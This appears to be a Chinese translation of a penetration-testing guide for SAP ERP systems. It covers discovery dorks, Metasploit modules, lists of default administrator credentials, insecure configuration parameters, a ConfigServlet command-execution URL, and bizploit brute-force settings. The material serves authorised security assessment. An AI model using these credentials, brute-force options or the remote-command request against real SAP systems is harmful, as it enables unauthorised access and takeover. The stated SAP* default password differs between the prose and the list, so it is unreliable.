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关于 SAP 的介绍
SAP 代表数据处理中的系统应用和产品。根据定义,SAP 也是 ERP(企业资源规划)软件的名称,以及公司的名称。 SAP 系统由多个完全集成的模块组成,几乎涵盖了业务管理的每个方面。
每个 SAP 实例(或 SID)由三层组成:数据库、应用程序和展示,每个环境通常由四个实例组成:开发、测试、质量保证和生产。 每一层在某种程度上都可以被利用,但通过 攻击数据库 可以获得最大的效果。
每个 SAP 实例被划分为多个客户端。每个客户端都有一个用户 SAP*,这是应用程序的“根”相当于。 在初始创建时,这个用户 SAP* 获得一个默认密码:“060719992”(更多默认密码见下文)。 如果你知道这些 密码在测试或开发环境中并不常更改,你会感到惊讶!
尝试使用用户名 <SID>adm 访问任何服务器的 shell。 暴力破解可能有帮助,但可能会有账户锁定机制。
发现
下一部分主要来自 https://github.com/shipcod3/mySapAdventures 的用户 shipcod3!
- 检查应用程序范围或测试的程序简要。注意连接到 SAP GUI 的主机名或系统实例。
- 使用 OSINT(开源情报)、Shodan 和 Google Dorks 检查文件、子域和有价值的信息,如果应用程序是面向互联网或公开的:
inurl:50000/irj/portal
inurl:IciEventService/IciEventConf
inurl:/wsnavigator/jsps/test.jsp
inurl:/irj/go/km/docs/
https://www.shodan.io/search?query=sap+portal
https://www.shodan.io/search?query=SAP+Netweaver
https://www.shodan.io/search?query=SAP+J2EE+Engine
- 这里是 http://SAP:50000/irj/portal 的样子
- 使用 nmap 检查开放端口和已知服务(sap 路由器,webdnypro,web 服务,web 服务器等)。
- 如果有运行的 web 服务器,爬取 URL。
- 如果在某些端口上有 web 服务器,请模糊测试目录(可以使用 Burp Intruder)。以下是 SecLists 项目提供的一些优秀字典,用于查找默认 SAP ICM 路径和其他有趣的目录或文件:
https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/URLs/urls_SAP.txt
https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/CMS/SAP.fuzz.txt
https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/sap.txt
- 使用 SAP SERVICE DISCOVERY 辅助 Metasploit 模块枚举 SAP 实例/服务/组件:
msf > use auxiliary/scanner/sap/sap_service_discovery
msf auxiliary(sap_service_discovery) > show options
Module options (auxiliary/scanner/sap/sap_service_discovery):
Name Current Setting Required Description
---- --------------- -------- -----------
CONCURRENCY 10 yes The number of concurrent ports to check per host
INSTANCES 00-01 yes Instance numbers to scan (e.g. 00-05,00-99)
RHOSTS yes The target address range or CIDR identifier
THREADS 1 yes The number of concurrent threads
TIMEOUT 1000 yes The socket connect timeout in milliseconds
msf auxiliary(sap_service_discovery) > set rhosts 192.168.96.101
rhosts => 192.168.96.101
msf auxiliary(sap_service_discovery) > run
[*] 192.168.96.101: - [SAP] Beginning service Discovery '192.168.96.101'
测试厚客户端 / SAP GUI
这是连接到 SAP GUI 的命令
sapgui <sap server hostname> <system number>
- 检查默认凭据
在 Bugcrowd 的漏洞评级分类中,这被视为 P1 -> 服务器安全配置错误 \| 使用默认凭据 \| 生产服务器
:
# SAP* - High privileges - Hardcoded kernel user
SAP*:06071992:*
SAP*:PASS:*
# IDEADM - High Privileges - Only in IDES systems
IDEADM:admin:*
# DDIC - High privileges - User has SAP_ALL
DDIC:19920706:000,001
# EARLYWATCH - High privileges
EARLYWATCH:SUPPORT:066
# TMSADM - Medium privileges
TMSADM:PASSWORD:000
TMSADM:$1Pawd2&:000
# SAPCPIC - Medium privileges
SAPCPIC:ADMIN:000,001
# SOLMAN dialog default users and passwords.
# For more info check:
# https://www.troopers.de/media/filer_public/37/34/3734ebb3-989c-4750-9d48-ea478674991a/an_easy_way_into_your_sap_systems_v30.pdf
# https://launchpad.support.sap.com/#/notes/2293011
# SOLMAN_ADMIN - High privileges - Only on SOLMAN systems
SOLMAN_ADMIN:init1234:*
# SAPSUPPORT - High privileges - Only on SOLMAN or satellite systems
SAPSUPPORT:init1234:*
# SOLMAN<SID><CLNT> - High privileges - Only on SOLMAN systems
#SOLMAN<SID><CLNT>:init1234:*
# Trial systems
# -------------
# AS ABAP 7.40 SP08 Developer Edition:
# https://blogs.sap.com/2015/10/14/sap-netweaver-as-abap-740-sp8-developer-edition-to-download-consise-installation-instruction/
DDIC:DidNPLpw2014:001
SAP*:DidNPLpw2014:001
DEVELOPER:abCd1234:001
BWDEVELOPER:abCd1234:001
# AS ABAP 7.50 SP02 Developer Edition:
# https://blogs.sap.com/2016/11/03/sap-nw-as-abap-7.50-sp2-developer-edition-to-download-consise-installation-guide/
# AS ABAP 7.51 SP02 Developer Edition:
# https://blogs.sap.com/2017/09/04/sap-as-abap-7.51-sp2-developer-edition-to-download-concise-installation-guide/
DDIC:Appl1ance:000,001
SAP*:Appl1ance:000,001
DEVELOPER:Appl1ance:001
BWDEVELOPER:Appl1ance:001
# AS ABAP 7.51 SP01 Developer Edition:
# https://blogs.sap.com/2018/09/13/as-abap-7.52-sp01-developer-edition-concise-installation-guide/
# AS ABAP 7.52 SP04 Developer Edition:
# https://blogs.sap.com/2019/10/01/as-abap-7.52-sp04-developer-edition-concise-installation-guide/
DDIC:Down1oad:000,001
SAP*:Down1oad:000,001
DEVELOPER:Down1oad:001
BWDEVELOPER:Down1oad:001
- 运行 Wireshark,然后使用您获得的凭据对客户端(SAP GUI)进行身份验证,因为某些客户端在没有 SSL 的情况下传输凭据。有两个已知的 Wireshark 插件可以解析 SAP DIAG 协议使用的主要头部:SecureAuth Labs SAP 解析插件和 Positive Research Center 的 SAP DIAG 插件。
- 检查特权提升,例如使用某些 SAP 事务代码(tcodes)对低权限用户:
- SU01 - 创建和维护用户
- SU01D - 显示用户
- SU10 - 批量维护
- SU02 - 手动创建配置文件
- SM19 - 安全审计 - 配置
- SE84 - SAP R/3 授权的信息系统
- 检查您是否可以在客户端执行系统命令/运行脚本。
- 检查您是否可以在 BAPI Explorer 上进行 XSS
测试 Web 界面
- 爬取 URL(参见发现阶段)。
- 像在发现阶段一样模糊测试 URL。以下是 http://SAP:50000/index.html 的样子:
- 查找常见的 Web 漏洞(参考 OWASP Top 10),因为某些地方存在 XSS、RCE、XXE 等漏洞。
- 查看 Jason Haddix 的 “The Bug Hunters Methodology” 以测试 Web 漏洞。
- 通过动词篡改进行身份验证绕过?也许 :)
- 打开
http://SAP:50000/webdynpro/resources/sap.com/XXX/JWFTestAddAssignees#
,然后点击“选择”按钮,在打开的窗口中按“搜索”。您应该能够看到 SAP 用户的列表(漏洞参考:ERPSCAN-16-010) - 凭据是通过 HTTP 提交的吗?如果是,则根据 Bugcrowd 的 Vulnerability Rating Taxonomy 被视为 P3:破坏的身份验证和会话管理 | 通过 HTTP 的弱登录功能。提示:也检查 http://SAP:50000/startPage 或登录门户 :)
- 尝试
/irj/go/km/navigation/
以获取可能的目录列表或身份验证绕过 - http://SAP/sap/public/info 包含一些有价值的信息:
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
<SOAP-ENV:Body>
<rfc:RFC_SYSTEM_INFO.Response xmlns:rfc="urn:sap-com:document:sap:rfc:functions">
<RFCSI>
<RFCPROTO>011</RFCPROTO>
<RFCCHARTYP>4102</RFCCHARTYP>
<RFCINTTYP>BIG</RFCINTTYP>
<RFCFLOTYP>IE3</RFCFLOTYP>
<RFCDEST>randomnum</RFCDEST>
<RFCHOST>randomnum</RFCHOST>
<RFCSYSID>BRQ</RFCSYSID>
<RFCDATABS>BRQ</RFCDATABS>
<RFCDBHOST>randomnum</RFCDBHOST>
<RFCDBSYS>ORACLE</RFCDBSYS>
<RFCSAPRL>740</RFCSAPRL>
<RFCMACH>324</RFCMACH>
<RFCOPSYS>AIX</RFCOPSYS>
<RFCTZONE>-25200</RFCTZONE>
<RFCDAYST/>
<RFCIPADDR>192.168.1.8</RFCIPADDR>
<RFCKERNRL>749</RFCKERNRL>
<RFCHOST2>randomnum</RFCHOST2>
<RFCSI_RESV/>
<RFCIPV6ADDR>192.168.1.8</RFCIPV6ADDR>
</RFCSI>
</rfc:RFC_SYSTEM_INFO.Response>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
配置参数
如果您在渗透测试期间拥有正确的登录详细信息,或者您已成功使用基本凭据登录到 SAP GUI,您可以检查参数值。许多基本和自定义配置参数值被视为漏洞。
您可以手动和自动检查参数值,使用脚本(例如 SAP Parameter Validator)。
手动参数检查
通过导航到事务代码 RSPFPAR
,您可以查询不同的参数并查找其值。
下表包含定义的参数及其区分条件。
例如,如果 gw/reg_no_conn_info 设置为小于 255 (<255
),则应视为威胁。同样,如果 icm/security_log 等于二 (2
),它也将是一个可能的威胁。
参数 | 约束 | 描述 |
---|---|---|
auth/object_disabling_active |
Y |
指示对象禁用是否处于活动状态。 |
auth/rfc_authority_check |
<2 |
设置 RFC 的权限检查级别。 |
auth/no_check_in_some_cases |
Y |
指定在某些情况下是否绕过检查。 |
bdc/bdel_auth_check |
FALSE |
确定 BDC 中是否强制执行授权检查。 |
gw/reg_no_conn_info |
<255 |
限制注册号连接信息的字符数。 |
icm/security_log |
2 |
定义 ICM(互联网通信管理器)的安全日志级别。 |
icm/server_port_0 |
Display |
指定 ICM 的服务器端口(端口 0)。 |
icm/server_port_1 |
Display |
指定 ICM 的服务器端口(端口 1)。 |
icm/server_port_2 |
Display |
指定 ICM 的服务器端口(端口 2)。 |
login/password_compliance_to_current_policy |
0 |
强制密码符合当前政策。 |
login/no_automatic_user_sapstar |
0 |
禁用自动用户 SAPSTAR 分配。 |
login/min_password_specials |
0 |
密码中要求的特殊字符的最小数量。 |
login/min_password_lng |
<8 |
密码要求的最小长度。 |
login/min_password_lowercase |
0 |
密码中要求的小写字母的最小数量。 |
login/min_password_uppercase |
0 |
密码中要求的大写字母的最小数量。 |
login/min_password_digits |
0 |
密码中要求的数字的最小数量。 |
login/min_password_letters |
1 |
密码中要求的字母的最小数量。 |
login/fails_to_user_lock |
<5 |
锁定用户帐户之前的失败登录尝试次数。 |
login/password_expiration_time |
>90 |
密码过期时间(天)。 |
login/password_max_idle_initial |
<14 |
要求重新输入密码之前的最大空闲时间(分钟,初始)。 |
login/password_max_idle_productive |
<180 |
要求重新输入密码之前的最大空闲时间(分钟,生产)。 |
login/password_downwards_compatibility |
0 |
指定是否启用密码的向下兼容性。 |
rfc/reject_expired_passwd |
0 |
确定是否拒绝 RFC(远程功能调用)的过期密码。 |
rsau/enable |
0 |
启用或禁用 RS AU(授权)检查。 |
rdisp/gui_auto_logout |
<5 |
指定自动注销 GUI 会话之前的时间(分钟)。 |
service/protectedwebmethods |
SDEFAULT |
指定受保护的 Web 方法的默认设置。 |
snc/enable |
0 |
启用或禁用安全网络通信(SNC)。 |
ucon/rfc/active |
0 |
激活或停用 UCON(统一连接)RFC。 |
参数检查脚本
由于参数数量众多,您还可以将所有参数导出到 .XML 文件,并使用脚本 SAPPV (SAP Parameter Validator),该脚本将检查上述所有参数并打印其值及适当的区分。
./SAPPV.sh EXPORT.XML
Parameter: auth/no_check_in_some_cases
User-Defined Value: No data
System Default Value: Y
Comment: Activation of the Profile Generator
Vulnerability: "SAP Parameter Misconfiguration: auth/no_check_in_some_cases"
Parameter: auth/object_disabling_active
User-Defined Value: N
System Default Value: N
Comment: Value 'N' prohibits disabling of authorization objects
Vulnerability: "SAP Parameter Misconfiguration: auth/object_disabling_active"
Parameter: auth/rfc_authority_check
User-Defined Value: 6
System Default Value: 6
Comment: Execution option for the RFC authority check
Vulnerability: "SAP Parameter Misconfiguration: auth/rfc_authority_check"
Parameter: bdc/bdel_auth_check
User-Defined Value: No data
System Default Value: FALSE
Comment: batch-input: check authorisation for activity DELE when delete TA
Vulnerability: "SAP Parameter Misconfiguration: bdc/bdel_auth_check"
[...]
攻击!
- 检查它是否运行在旧服务器或技术上,如 Windows 2000。
- 计划可能的利用 / 攻击,针对 SAP 发现有很多 Metasploit 模块(辅助模块)和利用:
msf > search sap
Matching Modules
================
Name Disclosure Date Rank Description
---- --------------- ---- -----------
auxiliary/admin/maxdb/maxdb_cons_exec 2008-01-09 normal SAP MaxDB cons.exe Remote Command Injection
auxiliary/admin/sap/sap_configservlet_exec_noauth 2012-11-01 normal SAP ConfigServlet OS Command Execution
auxiliary/admin/sap/sap_mgmt_con_osexec normal SAP Management Console OSExecute
auxiliary/dos/sap/sap_soap_rfc_eps_delete_file normal SAP SOAP EPS_DELETE_FILE File Deletion
auxiliary/dos/windows/http/pi3web_isapi 2008-11-13 normal Pi3Web ISAPI DoS
auxiliary/dos/windows/llmnr/ms11_030_dnsapi 2011-04-12 normal Microsoft Windows DNSAPI.dll LLMNR Buffer Underrun DoS
auxiliary/scanner/http/sap_businessobjects_user_brute normal SAP BusinessObjects User Bruteforcer
auxiliary/scanner/http/sap_businessobjects_user_brute_web normal SAP BusinessObjects Web User Bruteforcer
auxiliary/scanner/http/sap_businessobjects_user_enum normal SAP BusinessObjects User Enumeration
auxiliary/scanner/http/sap_businessobjects_version_enum normal SAP BusinessObjects Version Detection
auxiliary/scanner/sap/sap_ctc_verb_tampering_user_mgmt normal SAP CTC Service Verb Tampering User Management
auxiliary/scanner/sap/sap_hostctrl_getcomputersystem normal SAP Host Agent Information Disclosure
auxiliary/scanner/sap/sap_icf_public_info normal SAP ICF /sap/public/info Service Sensitive Information Gathering
auxiliary/scanner/sap/sap_icm_urlscan normal SAP URL Scanner
auxiliary/scanner/sap/sap_mgmt_con_abaplog normal SAP Management Console ABAP Syslog Disclosure
auxiliary/scanner/sap/sap_mgmt_con_brute_login normal SAP Management Console Brute Force
auxiliary/scanner/sap/sap_mgmt_con_extractusers normal SAP Management Console Extract Users
auxiliary/scanner/sap/sap_mgmt_con_getaccesspoints normal SAP Management Console Get Access Points
auxiliary/scanner/sap/sap_mgmt_con_getenv normal SAP Management Console getEnvironment
auxiliary/scanner/sap/sap_mgmt_con_getlogfiles normal SAP Management Console Get Logfile
auxiliary/scanner/sap/sap_mgmt_con_getprocesslist normal SAP Management Console GetProcessList
auxiliary/scanner/sap/sap_mgmt_con_getprocessparameter normal SAP Management Console Get Process Parameters
auxiliary/scanner/sap/sap_mgmt_con_instanceproperties normal SAP Management Console Instance Properties
auxiliary/scanner/sap/sap_mgmt_con_listlogfiles normal SAP Management Console List Logfiles
auxiliary/scanner/sap/sap_mgmt_con_startprofile normal SAP Management Console getStartProfile
auxiliary/scanner/sap/sap_mgmt_con_version normal SAP Management Console Version Detection
auxiliary/scanner/sap/sap_router_info_request normal SAPRouter Admin Request
auxiliary/scanner/sap/sap_router_portscanner normal SAPRouter Port Scanner
auxiliary/scanner/sap/sap_service_discovery normal SAP Service Discovery
auxiliary/scanner/sap/sap_smb_relay normal SAP SMB Relay Abuse
auxiliary/scanner/sap/sap_soap_bapi_user_create1 normal SAP /sap/bc/soap/rfc SOAP Service BAPI_USER_CREATE1 Function User Creation
auxiliary/scanner/sap/sap_soap_rfc_brute_login normal SAP SOAP Service RFC_PING Login Brute Forcer
auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_call_system_command_exec normal SAP /sap/bc/soap/rfc SOAP Service SXPG_CALL_SYSTEM Function Command Injection
auxiliary/scanner/sap/sap_soap_rfc_dbmcli_sxpg_command_exec normal SAP /sap/bc/soap/rfc SOAP Service SXPG_COMMAND_EXEC Function Command Injection
auxiliary/scanner/sap/sap_soap_rfc_eps_get_directory_listing normal SAP SOAP RFC EPS_GET_DIRECTORY_LISTING Directories Information Disclosure
auxiliary/scanner/sap/sap_soap_rfc_pfl_check_os_file_existence normal SAP SOAP RFC PFL_CHECK_OS_FILE_EXISTENCE File Existence Check
auxiliary/scanner/sap/sap_soap_rfc_ping normal SAP /sap/bc/soap/rfc SOAP Service RFC_PING Function Service Discovery
auxiliary/scanner/sap/sap_soap_rfc_read_table normal SAP /sap/bc/soap/rfc SOAP Service RFC_READ_TABLE Function Dump Data
auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir normal SAP SOAP RFC RZL_READ_DIR_LOCAL Directory Contents Listing
auxiliary/scanner/sap/sap_soap_rfc_susr_rfc_user_interface normal SAP /sap/bc/soap/rfc SOAP Service SUSR_RFC_USER_INTERFACE Function User Creation
auxiliary/scanner/sap/sap_soap_rfc_sxpg_call_system_exec normal SAP /sap/bc/soap/rfc SOAP Service SXPG_CALL_SYSTEM Function Command Execution
auxiliary/scanner/sap/sap_soap_rfc_sxpg_command_exec normal SAP SOAP RFC SXPG_COMMAND_EXECUTE
auxiliary/scanner/sap/sap_soap_rfc_system_info normal SAP /sap/bc/soap/rfc SOAP Service RFC_SYSTEM_INFO Function Sensitive Information Gathering
auxiliary/scanner/sap/sap_soap_th_saprel_disclosure normal SAP /sap/bc/soap/rfc SOAP Service TH_SAPREL Function Information Disclosure
auxiliary/scanner/sap/sap_web_gui_brute_login normal SAP Web GUI Login Brute Forcer
exploit/multi/sap/sap_mgmt_con_osexec_payload 2011-03-08 excellent SAP Management Console OSExecute Payload Execution
exploit/multi/sap/sap_soap_rfc_sxpg_call_system_exec 2013-03-26 great SAP SOAP RFC SXPG_CALL_SYSTEM Remote Command Execution
exploit/multi/sap/sap_soap_rfc_sxpg_command_exec 2012-05-08 great SAP SOAP RFC SXPG_COMMAND_EXECUTE Remote Command Execution
exploit/windows/browser/enjoysapgui_comp_download 2009-04-15 excellent EnjoySAP SAP GUI ActiveX Control Arbitrary File Download
exploit/windows/browser/enjoysapgui_preparetoposthtml 2007-07-05 normal EnjoySAP SAP GUI ActiveX Control Buffer Overflow
exploit/windows/browser/sapgui_saveviewtosessionfile 2009-03-31 normal SAP AG SAPgui EAI WebViewer3D Buffer Overflow
exploit/windows/http/sap_configservlet_exec_noauth 2012-11-01 great SAP ConfigServlet Remote Code Execution
exploit/windows/http/sap_host_control_cmd_exec 2012-08-14 average SAP NetWeaver HostControl Command Injection
exploit/windows/http/sapdb_webtools 2007-07-05 great SAP DB 7.4 WebTools Buffer Overflow
exploit/windows/lpd/saplpd 2008-02-04 good SAP SAPLPD 6.28 Buffer Overflow
exploit/windows/misc/sap_2005_license 2009-08-01 great SAP Business One License Manager 2005 Buffer Overflow
exploit/windows/misc/sap_netweaver_dispatcher 2012-05-08 normal SAP NetWeaver Dispatcher DiagTraceR3Info Buffer Overflow
- 尝试使用一些已知的漏洞(查看 Exploit-DB)或攻击,例如在 SAP Portal 中的老牌“SAP ConfigServlet 远程代码执行”:
http://example.com:50000/ctc/servlet/com.sap.ctc.util.ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=uname -a
- 在发现阶段运行 bizploit 脚本的
start
命令之前,您还可以添加以下内容以执行漏洞评估:
bizploit> plugins
bizploit/plugins> vulnassess all
bizploit/plugins> vulnassess config bruteLogin
bizploit/plugins/vulnassess/config:bruteLogin> set type defaultUsers
bizploit/plugins/vulnassess/config:bruteLogin> set tryHardcodedSAPStar True
bizploit/plugins/vulnassess/config:bruteLogin> set tryUserAsPwd True
bizploit/plugins/vulnassess/config:bruteLogin> back
bizploit/plugins> vulnassess config registerExtServer
bizploit/plugins/vulnassess/config:registerExtServer> set tpname evilgw
bizploit/plugins/vulnassess/config:registerExtServer> back
bizploit/plugins> vulnassess config checkRFCPrivs
bizploit/plugins/vulnassess/config:checkRFCPrivs> set checkExtOSCommands True
bizploit/plugins/vulnassess/config:checkRFCPrivs> back
bizploit/plugins> vulnassess config icmAdmin
bizploit/plugins/vulnassess/config:icmAdmin> set adminURL /sap/admin
bizploit/plugins/vulnassess/config:icmAdmin> back
bizploit/plugins> start
bizploit/plugins> back
bizploit> start
其他有用的测试工具
- PowerSAP - 用于评估SAP安全性的Powershell工具
- Burp Suite - 目录模糊测试和网络安全评估的必备工具
- pysap - 用于构造SAP网络协议数据包的Python库
- https://github.com/gelim/nmap-erpscan - 帮助nmap检测SAP/ERP
参考文献
- 使用Metasploit进行SAP渗透测试
- https://github.com/davehardy20/SAP-Stuff - 一个半自动化Bizploit的脚本
- SAP NetWeaver ABAP安全配置第3部分:访问应用程序的默认密码
- 与SAP安全相关的ABAP事务代码列表
- 破解SAP门户
- 十大最有趣的SAP漏洞和攻击
- 使用Bizploit评估SAP生态系统的安全性:发现
- https://www.exploit-db.com/docs/43859
- https://resources.infosecinstitute.com/topic/pen-stesting-sap-applications-part-1/
- https://github.com/shipcod3/mySapAdventures
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